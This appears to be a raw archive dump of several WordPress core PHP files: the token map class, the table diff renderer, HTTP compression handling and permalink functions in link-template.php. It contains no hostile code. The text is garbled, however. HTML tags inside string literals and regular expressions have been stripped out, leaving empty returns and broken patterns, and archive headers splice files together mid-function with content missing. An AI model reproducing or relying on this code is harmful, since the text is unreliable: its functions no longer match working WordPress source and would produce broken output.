$this->small_mappings[ $at / ( $this->key_length + 1 ) ]; } if ( $search_text[ $adjust ] !== $this->small_words[ $at + $adjust ] && ( ! $ignore_case || strtoupper( $this->small_words[ $at + $adjust ] !== $search_text[ $adjust ] ) ) ) { $at += $this->key_length + 1; continue 2; } } $matched_token_byte_length = $adjust; return $this->small_mappings[ $at / ( $this->key_length + 1 ) ]; } return null; } /** * Exports the token map into an associate array of key/value pairs. * * Example: * * $smilies->to_array() === array( * '8O' => '😯', * ':(' => '🙁', * ':)' => '🙂', * ':?' => '😕', * ); * * @return array The lookup key/substitution values as an associate array. */ public function to_array(): array { $tokens = array(); $at = 0; $small_mapping = 0; $small_length = strlen( $this->small_words ); while ( $at < $small_length ) { $key = rtrim( substr( $this->small_words, $at, $this->key_length + 1 ), "\x00" ); $value = $this->small_mappings[ $small_mapping++ ]; $tokens[ $key ] = $value; $at += $this->key_length + 1; } foreach ( $this->large_words as $index => $group ) { $prefix = substr( $this->groups, $index * ( $this->key_length + 1 ), 2 ); $group_length = strlen( $group ); $at = 0; while ( $at < $group_length ) { $length = unpack( 'C', $group[ $at++ ] )[1]; $key = $prefix . substr( $group, $at, $length ); $at += $length; $length = unpack( 'C', $group[ $at++ ] )[1]; $value = substr( $group, $at, $length ); $tokens[ $key ] = $value; $at += $length; } } return $tokens; } /** * Export the token map for quick loading in PHP source code. * * This function has a specific purpose, to make loading of static token maps fast. * It's used to ensure that the HTML character reference lookups add a minimal cost * to initializing the PHP process. * * Example: * * echo $smilies->precomputed_php_source_table(); * * // Output. * WP_Token_Map::from_precomputed_table( * array( * "storage_version" => "6.6.0", * "key_length" => 2, * "groups" => "", * "long_words" => array(), * "small_words" => "8O\x00:)\x00:(\x00:?\x00", * "small_mappings" => array( "😯", "🙂", "🙁", "😕" ) * ) * ); * * @since 6.6.0 * * @param string $indent Optional. Use this string for indentation, or rely on the default horizontal tab character. Default "\t". * @return string Value which can be pasted into a PHP source file for quick loading of table. */ public function precomputed_php_source_table( string $indent = "\t" ): string { $i1 = $indent; $i2 = $i1 . $indent; $i3 = $i2 . $indent; $class_version = self::STORAGE_VERSION; $output = self::class . "::from_precomputed_table(\n"; $output .= "{$i1}array(\n"; $output .= "{$i2}\"storage_version\" => \"{$class_version}\",\n"; $output .= "{$i2}\"key_length\" => {$this->key_length},\n"; $group_line = str_replace( "\x00", "\\x00", $this->groups ); $output .= "{$i2}\"groups\" => \"{$group_line}\",\n"; $output .= "{$i2}\"large_words\" => array(\n"; $prefixes = explode( "\x00", $this->groups ); foreach ( $prefixes as $index => $prefix ) { if ( '' === $prefix ) { break; } $group = $this->large_words[ $index ]; $group_length = strlen( $group ); $comment_line = "{$i3}//"; $data_line = "{$i3}\""; $at = 0; while ( $at < $group_length ) { $token_length = unpack( 'C', $group[ $at++ ] )[1]; $token = substr( $group, $at, $token_length ); $at += $token_length; $mapping_length = unpack( 'C', $group[ $at++ ] )[1]; $mapping = substr( $group, $at, $mapping_length ); $at += $mapping_length; $token_digits = str_pad( dechex( $token_length ), 2, '0', STR_PAD_LEFT ); $mapping_digits = str_pad( dechex( $mapping_length ), 2, '0', STR_PAD_LEFT ); $mapping = preg_replace_callback( "~[\\x00-\\x1f\\x22\\x5c]~", static function ( $match_result ) { switch ( $match_result[0] ) { case '"': return '\\"'; case '\\': return '\\\\'; default: $hex = dechex( ord( $match_result[0] ) ); return "\\x{$hex}"; } }, $mapping ); $comment_line .= " {$prefix}{$token}[{$mapping}]"; $data_line .= "\\x{$token_digits}{$token}\\x{$mapping_digits}{$mapping}"; } $comment_line .= ".\n"; $data_line .= "\",\n"; $output .= $comment_line; $output .= $data_line; } $output .= "{$i2}),\n"; $small_words = array(); $small_length = strlen( $this->small_words ); $at = 0; while ( $at < $small_length ) { $small_words[] = substr( $this->small_words, $at, $this->key_length + 1 ); $at += $this->key_length + 1; } $small_text = str_replace( "\x00", '\x00', implode( '', $small_words ) ); $output .= "{$i2}\"small_words\" => \"{$small_text}\",\n"; $output .= "{$i2}\"small_mappings\" => array(\n"; foreach ( $this->small_mappings as $mapping ) { $output .= "{$i3}\"{$mapping}\",\n"; } $output .= "{$i2})\n"; $output .= "{$i1})\n"; $output .= ')'; return $output; } /** * Compares two strings, returning the longest, or whichever * is first alphabetically if they are the same length. * * This is an important sort when building the token map because * it should not form a match on a substring of a longer potential * match. For example, it should not detect `Cap` when matching * against the string `CapitalDifferentialD`. * * @since 6.6.0 * * @param string $a First string to compare. * @param string $b Second string to compare. * @return int -1 or lower if `$a` is less than `$b`; 1 or greater if `$a` is greater than `$b`, and 0 if they are equal. */ private static function longest_first_then_alphabetical( string $a, string $b ): int { if ( $a === $b ) { return 0; } $length_a = strlen( $a ); $length_b = strlen( $b ); // Longer strings are less-than for comparison's sake. if ( $length_a !== $length_b ) { return $length_b - $length_a; } return strcmp( $a, $b ); } } class-wp-text-diff-renderer-table.php000064400000040633147177035010013602 0ustar00_show_split_view = $params['show_split_view']; } } /** * @ignore * * @param string $header * @return string */ public function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ public function _lines( $lines, $prefix = ' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function addedLine( $line ) { return "" . __( 'Added:' ) . " {$line}"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function deletedLine( $line ) { return "" . __( 'Deleted:' ) . " {$line}"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function contextLine( $line ) { return "" . __( 'Unchanged:' ) . " {$line}"; } /** * @ignore * * @return string */ public function emptyLine() { return ' '; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _added( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** * Contextually filters a diffed line. * * Filters TextDiff processing of diffed line. By default, diffs are processed with * htmlspecialchars. Use this filter to remove or change the processing. Passes a context * indicating if the line is added, deleted or unchanged. * * @since 4.1.0 * * @param string $processed_line The processed diffed line. * @param string $line The unprocessed diffed line. * @param string $context The line context. Values are 'added', 'deleted' or 'unchanged'. */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' ); } if ( $this->_show_split_view ) { $r .= '' . $this->emptyLine() . $this->addedLine( $line ) . "\n"; } else { $r .= '' . $this->addedLine( $line ) . "\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _deleted( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' ); } if ( $this->_show_split_view ) { $r .= '' . $this->deletedLine( $line ) . $this->emptyLine() . "\n"; } else { $r .= '' . $this->deletedLine( $line ) . "\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _context( $lines, $encode = true ) { $r = ''; foreach ( $lines as $line ) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' ); } if ( $this->_show_split_view ) { $r .= '' . $this->contextLine( $line ) . $this->contextLine( $line ) . "\n"; } else { $r .= '' . $this->contextLine( $line ) . "\n"; } } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ public function _changed( $orig, $final ) { $r = ''; /* * Does the aforementioned additional processing: * *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes. * - match is numeric: an index in other column. * - match is 'X': no match. It is a new row. * *_rows are column vectors for the orig column and the final column. * - row >= 0: an index of the $orig or $final array. * - row < 0: a blank row for that column. */ list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff. $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff. foreach ( $orig_matches as $o => $f ) { if ( is_numeric( $o ) && is_numeric( $f ) ) { $text_diff = new Text_Diff( 'auto', array( array( $orig[ $o ] ), array( $final[ $f ] ) ) ); $renderer = new $this->inline_diff_renderer; $diff = $renderer->render( $text_diff ); // If they're too different, don't include any or 's. if ( preg_match_all( '!(.*?|.*?)!', $diff, $diff_matches ) ) { // Length of all text between or . $stripped_matches = strlen( strip_tags( implode( ' ', $diff_matches[0] ) ) ); // Since we count length of text between or (instead of picking just one), // we double the length of chars not in those tags. $stripped_diff = strlen( strip_tags( $diff ) ) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) { continue; // Too different. Don't save diffs. } } // Un-inline the diffs by removing or . $orig_diffs[ $o ] = preg_replace( '|.*?|', '', $diff ); $final_diffs[ $f ] = preg_replace( '|.*?|', '', $diff ); } } foreach ( array_keys( $orig_rows ) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[ $row ] < 0 && $final_rows[ $row ] < 0 ) { continue; } // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[ $orig_rows[ $row ] ] ) ) { $orig_line = $orig_diffs[ $orig_rows[ $row ] ]; } elseif ( isset( $orig[ $orig_rows[ $row ] ] ) ) { $orig_line = htmlspecialchars( $orig[ $orig_rows[ $row ] ] ); } else { $orig_line = ''; } if ( isset( $final_diffs[ $final_rows[ $row ] ] ) ) { $final_line = $final_diffs[ $final_rows[ $row ] ]; } elseif ( isset( $final[ $final_rows[ $row ] ] ) ) { $final_line = htmlspecialchars( $final[ $final_rows[ $row ] ] ); } else { $final_line = ''; } if ( $orig_rows[ $row ] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array( $final_line ), false ); } elseif ( $final_rows[ $row ] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array( $orig_line ), false ); } else { // A true changed row. if ( $this->_show_split_view ) { $r .= '' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "\n"; } else { $r .= '' . $this->deletedLine( $orig_line ) . '' . $this->addedLine( $final_line ) . "\n"; } } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * @since 2.6.0 * * @param array $orig Lines of the original version of the text. * @param array $final Lines of the final version of the text. * @return array { * Array containing results of comparing the original text to the final text. * * @type array $orig_matches Associative array of original matches. Index == row * number of `$orig`, value == corresponding row number * of that same line in `$final` or 'x' if there is no * corresponding row (indicating it is a deleted line). * @type array $final_matches Associative array of final matches. Index == row * number of `$final`, value == corresponding row number * of that same line in `$orig` or 'x' if there is no * corresponding row (indicating it is a new line). * @type array $orig_rows Associative array of interleaved rows of `$orig` with * blanks to keep matches aligned with side-by-side diff * of `$final`. A value >= 0 corresponds to index of `$orig`. * Value < 0 indicates a blank row. * @type array $final_rows Associative array of interleaved rows of `$final` with * blanks to keep matches aligned with side-by-side diff * of `$orig`. A value >= 0 corresponds to index of `$final`. * Value < 0 indicates a blank row. * } */ public function interleave_changed_lines( $orig, $final ) { // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys( $orig ) as $o ) { foreach ( array_keys( $final ) as $f ) { $matches[ "$o,$f" ] = $this->compute_string_distance( $orig[ $o ], $final[ $f ] ); } } asort( $matches ); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode( ',', $keys ); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys. if ( isset( $orig_matches[ $o ] ) && isset( $final_matches[ $f ] ) ) { continue; } // First match for these guys. Must be best match. if ( ! isset( $orig_matches[ $o ] ) && ! isset( $final_matches[ $f ] ) ) { $orig_matches[ $o ] = $f; $final_matches[ $f ] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset( $orig_matches[ $o ] ) ) { $final_matches[ $f ] = 'x'; } elseif ( isset( $final_matches[ $f ] ) ) { // Best match of this orig is already taken? Must mean this orig is a deleted row. $orig_matches[ $o ] = 'x'; } } // We read the text in this order. ksort( $orig_matches ); ksort( $final_matches ); // Stores rows and blanks for each column. $orig_rows = array_keys( $orig_matches ); $orig_rows_copy = $orig_rows; $final_rows = array_keys( $final_matches ); // Interleaves rows with blanks to keep matches aligned. // We may end up with some extraneous blank rows, but we'll just ignore them later. foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search( $orig_matches[ $orig_row ], $final_rows, true ); $orig_pos = (int) array_search( $orig_row, $orig_rows, true ); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_array = range( -1, $final_pos - $orig_pos ); array_splice( $final_rows, $orig_pos, 0, $diff_array ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_array = range( -1, $orig_pos - $final_pos ); array_splice( $orig_rows, $orig_pos, 0, $diff_array ); } } // Pad the ends with blank rows if the columns aren't the same length. $diff_count = count( $orig_rows ) - count( $final_rows ); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) { array_push( $orig_rows, $diff_count++ ); } } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) { array_push( $final_rows, $diff_count++ ); } } return array( $orig_matches, $final_matches, $orig_rows, $final_rows ); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ public function compute_string_distance( $string1, $string2 ) { // Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern. $count_key1 = md5( $string1 ); $count_key2 = md5( $string2 ); // Cache vectors containing character frequency for all chars in each string. if ( ! isset( $this->count_cache[ $count_key1 ] ) ) { $this->count_cache[ $count_key1 ] = count_chars( $string1 ); } if ( ! isset( $this->count_cache[ $count_key2 ] ) ) { $this->count_cache[ $count_key2 ] = count_chars( $string2 ); } $chars1 = $this->count_cache[ $count_key1 ]; $chars2 = $this->count_cache[ $count_key2 ]; $difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) ); if ( ! isset( $this->difference_cache[ $difference_key ] ) ) { // L1-norm of difference vector. $this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) ); } $difference = $this->difference_cache[ $difference_key ]; // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( ! $string1 ) { return $difference; } // Return distance per character (of string1). return $difference / strlen( $string1 ); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ public function difference( $a, $b ) { return abs( $a - $b ); } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name = $value; } } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); } } } class-wp-exception.php000064400000000375147177035010011014 0ustar00 0 ) { if ( $flg & 4 ) { list($xlen) = unpack( 'v', substr( $gz_data, $i, 2 ) ); $i = $i + 2 + $xlen; } if ( $flg & 8 ) { $i = strpos( $gz_data, "\0", $i ) + 1; } if ( $flg & 16 ) { $i = strpos( $gz_data, "\0", $i ) + 1; } if ( $flg & 2 ) { $i = $i + 2; } } $decompressed = @gzinflate( substr( $gz_data, $i, -8 ) ); if ( false !== $decompressed ) { return $decompressed; } } // Compressed data from java.util.zip.Deflater amongst others. $decompressed = @gzinflate( substr( $gz_data, 2 ) ); if ( false !== $decompressed ) { return $decompressed; } return false; } /** * What encoding types to accept and their priority values. * * @since 2.8.0 * * @param string $url * @param array $args * @return string Types of encoding to accept. */ public static function accept_encoding( $url, $args ) { $type = array(); $compression_enabled = self::is_available(); if ( ! $args['decompress'] ) { // Decompression specifically disabled. $compression_enabled = false; } elseif ( $args['stream'] ) { // Disable when streaming to file. $compression_enabled = false; } elseif ( isset( $args['limit_response_size'] ) ) { // If only partial content is being requested, we won't be able to decompress it. $compression_enabled = false; } if ( $compression_enabled ) { if ( function_exists( 'gzinflate' ) ) { $type[] = 'deflate;q=1.0'; } if ( function_exists( 'gzuncompress' ) ) { $type[] = 'compress;q=0.5'; } if ( function_exists( 'gzdecode' ) ) { $type[] = 'gzip;q=0.5'; } } /** * Filters the allowed encoding types. * * @since 3.6.0 * * @param string[] $type Array of what encoding types to accept and their priority values. * @param string $url URL of the HTTP request. * @param array $args HTTP request arguments. */ $type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args ); return implode( ', ', $type ); } /** * What encoding the content used when it was compressed to send in the headers. * * @since 2.8.0 * * @return string Content-Encoding string to send in the header. */ public static function content_encoding() { return 'deflate'; } /** * Whether the content be decoded based on the headers. * * @since 2.8.0 * * @param array|string $headers All of the available headers. * @return bool */ public static function should_decode( $headers ) { if ( is_array( $headers ) ) { if ( array_key_exists( 'content-encoding', $headers ) && ! empty( $headers['content-encoding'] ) ) { return true; } } elseif ( is_string( $headers ) ) { return ( stripos( $headers, 'content-encoding:' ) !== false ); } return false; } /** * Whether decompression and compression are supported by the PHP version. * * Each function is tested instead of checking for the zlib extension, to * ensure that the functions all exist in the PHP version and aren't * disabled. * * @since 2.8.0 * * @return bool */ public static function is_available() { return ( function_exists( 'gzuncompress' ) || function_exists( 'gzdeflate' ) || function_exists( 'gzinflate' ) ); } } link-template.php000064400000443331147177035010010040 0ustar00use_trailing_slashes ) { $string = trailingslashit( $string ); } else { $string = untrailingslashit( $string ); } /** * Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes. * * @since 2.2.0 * * @param string $string URL with or without a trailing slash. * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback', * 'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed', * 'category', 'page', 'year', 'month', 'day', 'post_type_archive'. */ return apply_filters( 'user_trailingslashit', $string, $type_of_url ); } /** * Displays the permalink anchor for the current post. * * The permalink mode title will use the post title for the 'a' element 'id' * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute. * * @since 0.71 * * @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'. */ function permalink_anchor( $mode = 'id' ) { $post = get_post(); switch ( strtolower( $mode ) ) { case 'title': $title = sanitize_title( $post->post_title ) . '-' . $post->ID; echo ''; break; case 'id': default: echo ''; break; } } /** * Determine whether post should always use a plain permalink structure. * * @since 5.7.0 * * @param WP_Post|int|null $post Optional. Post ID or post object. Defaults to global $post. * @param bool|null $sample Optional. Whether to force consideration based on sample links. * If omitted, a sample link is generated if a post object is passed * with the filter property set to 'sample'. * @return bool Whether to use a plain permalink structure. */ function wp_force_plain_post_permalink( $post = null, $sample = null ) { if ( null === $sample && is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) { $sample = true; } else { $post = get_post( $post ); $sample = null !== $sample ? $sample : false; } if ( ! $post ) { return true; } $post_status_obj = get_post_status_object( get_post_status( $post ) ); $post_type_obj = get_post_type_object( get_post_type( $post ) ); if ( ! $post_status_obj || ! $post_type_obj ) { return true; } if ( // Publicly viewable links never have plain permalinks. is_post_status_viewable( $post_status_obj ) || ( // Private posts don't have plain permalinks if the user can read them. $post_status_obj->private && current_user_can( 'read_post', $post->ID ) ) || // Protected posts don't have plain links if getting a sample URL. ( $post_status_obj->protected && $sample ) ) { return false; } return true; } /** * Retrieves the full permalink for the current post or post ID. * * This function is an alias for get_permalink(). * * @since 3.9.0 * * @see get_permalink() * * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional. Whether to keep post name or page name. Default false. * @return string|false The permalink URL or false if post does not exist. */ function get_the_permalink( $post = 0, $leavename = false ) { return get_permalink( $post, $leavename ); } /** * Retrieves the full permalink for the current post or post ID. * * @since 1.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional. Whether to keep post name or page name. Default false. * @return string|false The permalink URL or false if post does not exist. */ function get_permalink( $post = 0, $leavename = false ) { $rewritecode = array( '%year%', '%monthnum%', '%day%', '%hour%', '%minute%', '%second%', $leavename ? '' : '%postname%', '%post_id%', '%category%', '%author%', $leavename ? '' : '%pagename%', ); if ( is_object( $post ) && isset( $post->filter ) && 'sample' === $post->filter ) { $sample = true; } else { $post = get_post( $post ); $sample = false; } if ( empty( $post->ID ) ) { return false; } if ( 'page' === $post->post_type ) { return get_page_link( $post, $leavename, $sample ); } elseif ( 'attachment' === $post->post_type ) { return get_attachment_link( $post, $leavename ); } elseif ( in_array( $post->post_type, get_post_types( array( '_builtin' => false ) ), true ) ) { return get_post_permalink( $post, $leavename, $sample ); } $permalink = get_option( 'permalink_structure' ); /** * Filters the permalink structure for a post before token replacement occurs. * * Only applies to posts with post_type of 'post'. * * @since 3.0.0 * * @param string $permalink The site's permalink structure. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. */ $permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename ); if ( $permalink && ! wp_force_plain_post_permalink( $post ) ) { $category = ''; if ( strpos( $permalink, '%category%' ) !== false ) { $cats = get_the_category( $post->ID ); if ( $cats ) { $cats = wp_list_sort( $cats, array( 'term_id' => 'ASC', ) ); /** * Filters the category that gets used in the %category% permalink token. * * @since 3.5.0 * * @param WP_Term $cat The category to use in the permalink. * @param array $cats Array of all categories (WP_Term objects) associated with the post. * @param WP_Post $post The post in question. */ $category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post ); $category_object = get_term( $category_object, 'category' ); $category = $category_object->slug; if ( $category_object->parent ) { $category = get_category_parents( $category_object->parent, false, '/', true ) . $category; } } // Show default category in permalinks, // without having to assign it explicitly. if ( empty( $category ) ) { $default_category = get_term( get_option( 'default_category' ), 'category' ); if ( $default_category && ! is_wp_error( $default_category ) ) { $category = $default_category->slug; } } } $author = ''; if ( strpos( $permalink, '%author%' ) !== false ) { $authordata = get_userdata( $post->post_author ); $author = $authordata->user_nicename; } // This is not an API call because the permalink is based on the stored post_date value, // which should be parsed as local time regardless of the default PHP timezone. $date = explode( ' ', str_replace( array( '-', ':' ), ' ', $post->post_date ) ); $rewritereplace = array( $date[0], $date[1], $date[2], $date[3], $date[4], $date[5], $post->post_name, $post->ID, $category, $author, $post->post_name, ); $permalink = home_url( str_replace( $rewritecode, $rewritereplace, $permalink ) ); $permalink = user_trailingslashit( $permalink, 'single' ); } else { // If they're not using the fancy permalink option. $permalink = home_url( '?p=' . $post->ID ); } /** * Filters the permalink for a post. * * Only applies to posts with post_type of 'post'. * * @since 1.5.0 * * @param string $permalink The post's permalink. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. */ return apply_filters( 'post_link', $permalink, $post, $leavename ); } /** * Retrieves the permalink for a post of a custom post type. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional. Whether to keep post name. Default false. * @param bool $sample Optional. Is it a sample permalink. Default false. * @return string|WP_Error The post permalink. */ function get_post_permalink( $id = 0, $leavename = false, $sample = false ) { global $wp_rewrite; $post = get_post( $id ); if ( is_wp_error( $post ) ) { return $post; } $post_link = $wp_rewrite->get_extra_permastruct( $post->post_type ); $slug = $post->post_name; $force_plain_link = wp_force_plain_post_permalink( $post ); $post_type = get_post_type_object( $post->post_type ); if ( $post_type->hierarchical ) { $slug = get_page_uri( $post ); } if ( ! empty( $post_link ) && ( ! $force_plain_link || $sample ) ) { if ( ! $leavename ) { $post_link = str_replace( "%$post->post_type%", $slug, $post_link ); } $post_link = home_url( user_trailingslashit( $post_link ) ); } else { if ( $post_type->query_var && ( isset( $post->post_status ) && ! $force_plain_link ) ) { $post_link = add_query_arg( $post_type->query_var, $slug, '' ); } else { $post_link = add_query_arg( array( 'post_type' => $post->post_type, 'p' => $post->ID, ), '' ); } $post_link = home_url( $post_link ); } /** * Filters the permalink for a post of a custom post type. * * @since 3.0.0 * * @param string $post_link The post's permalink. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. * @param bool $sample Is it a sample permalink. */ return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample ); } /** * Retrieves the permalink for the current page or page ID. * * Respects page_on_front. Use this one. * * @since 1.5.0 * * @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @param bool $sample Optional. Whether it should be treated as a sample permalink. * Default false. * @return string The page permalink. */ function get_page_link( $post = false, $leavename = false, $sample = false ) { $post = get_post( $post ); if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID ) { $link = home_url( '/' ); } else { $link = _get_page_link( $post, $leavename, $sample ); } /** * Filters the permalink for a page. * * @since 1.5.0 * * @param string $link The page's permalink. * @param int $post_id The ID of the page. * @param bool $sample Is it a sample permalink. */ return apply_filters( 'page_link', $link, $post->ID, $sample ); } /** * Retrieves the page permalink. * * Ignores page_on_front. Internal use only. * * @since 2.1.0 * @access private * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @param bool $sample Optional. Whether it should be treated as a sample permalink. * Default false. * @return string The page permalink. */ function _get_page_link( $post = false, $leavename = false, $sample = false ) { global $wp_rewrite; $post = get_post( $post ); $force_plain_link = wp_force_plain_post_permalink( $post ); $link = $wp_rewrite->get_page_permastruct(); if ( ! empty( $link ) && ( ( isset( $post->post_status ) && ! $force_plain_link ) || $sample ) ) { if ( ! $leavename ) { $link = str_replace( '%pagename%', get_page_uri( $post ), $link ); } $link = home_url( $link ); $link = user_trailingslashit( $link, 'page' ); } else { $link = home_url( '?page_id=' . $post->ID ); } /** * Filters the permalink for a non-page_on_front page. * * @since 2.1.0 * * @param string $link The page's permalink. * @param int $post_id The ID of the page. */ return apply_filters( '_get_page_link', $link, $post->ID ); } /** * Retrieves the permalink for an attachment. * * This can be used in the WordPress Loop or outside of it. * * @since 2.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|object $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @return string The attachment permalink. */ function get_attachment_link( $post = null, $leavename = false ) { global $wp_rewrite; $link = false; $post = get_post( $post ); $force_plain_link = wp_force_plain_post_permalink( $post ); $parent_id = $post->post_parent; $parent = $parent_id ? get_post( $parent_id ) : false; $parent_valid = true; // Default for no parent. if ( $parent_id && ( $post->post_parent === $post->ID || ! $parent || ! is_post_type_viewable( get_post_type( $parent ) ) ) ) { // Post is either its own parent or parent post unavailable. $parent_valid = false; } if ( $force_plain_link || ! $parent_valid ) { $link = false; } elseif ( $wp_rewrite->using_permalinks() && $parent ) { if ( 'page' === $parent->post_type ) { $parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front. } else { $parentlink = get_permalink( $post->post_parent ); } if ( is_numeric( $post->post_name ) || false !== strpos( get_option( 'permalink_structure' ), '%category%' ) ) { $name = 'attachment/' . $post->post_name; // // is paged so we use the explicit attachment marker. } else { $name = $post->post_name; } if ( strpos( $parentlink, '?' ) === false ) { $link = user_trailingslashit( trailingslashit( $parentlink ) . '%postname%' ); } if ( ! $leavename ) { $link = str_replace( '%postname%', $name, $link ); } } elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) { $link = home_url( user_trailingslashit( $post->post_name ) ); } if ( ! $link ) { $link = home_url( '/?attachment_id=' . $post->ID ); } /** * Filters the permalink for an attachment. * * @since 2.0.0 * @since 5.6.0 Providing an empty string will now disable * the view attachment page link on the media modal. * * @param string $link The attachment's permalink. * @param int $post_id Attachment ID. */ return apply_filters( 'attachment_link', $link, $post->ID ); } /** * Retrieves the permalink for the year archives. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|false $year Integer of year. False for current year. * @return string The permalink for the specified year archive. */ function get_year_link( $year ) { global $wp_rewrite; if ( ! $year ) { $year = current_time( 'Y' ); } $yearlink = $wp_rewrite->get_year_permastruct(); if ( ! empty( $yearlink ) ) { $yearlink = str_replace( '%year%', $year, $yearlink ); $yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) ); } else { $yearlink = home_url( '?m=' . $year ); } /** * Filters the year archive permalink. * * @since 1.5.0 * * @param string $yearlink Permalink for the year archive. * @param int $year Year for the archive. */ return apply_filters( 'year_link', $yearlink, $year ); } /** * Retrieves the permalink for the month archives with year. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|false $year Integer of year. False for current year. * @param int|false $month Integer of month. False for current month. * @return string The permalink for the specified month and year archive. */ function get_month_link( $year, $month ) { global $wp_rewrite; if ( ! $year ) { $year = current_time( 'Y' ); } if ( ! $month ) { $month = current_time( 'm' ); } $monthlink = $wp_rewrite->get_month_permastruct(); if ( ! empty( $monthlink ) ) { $monthlink = str_replace( '%year%', $year, $monthlink ); $monthlink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $monthlink ); $monthlink = home_url( 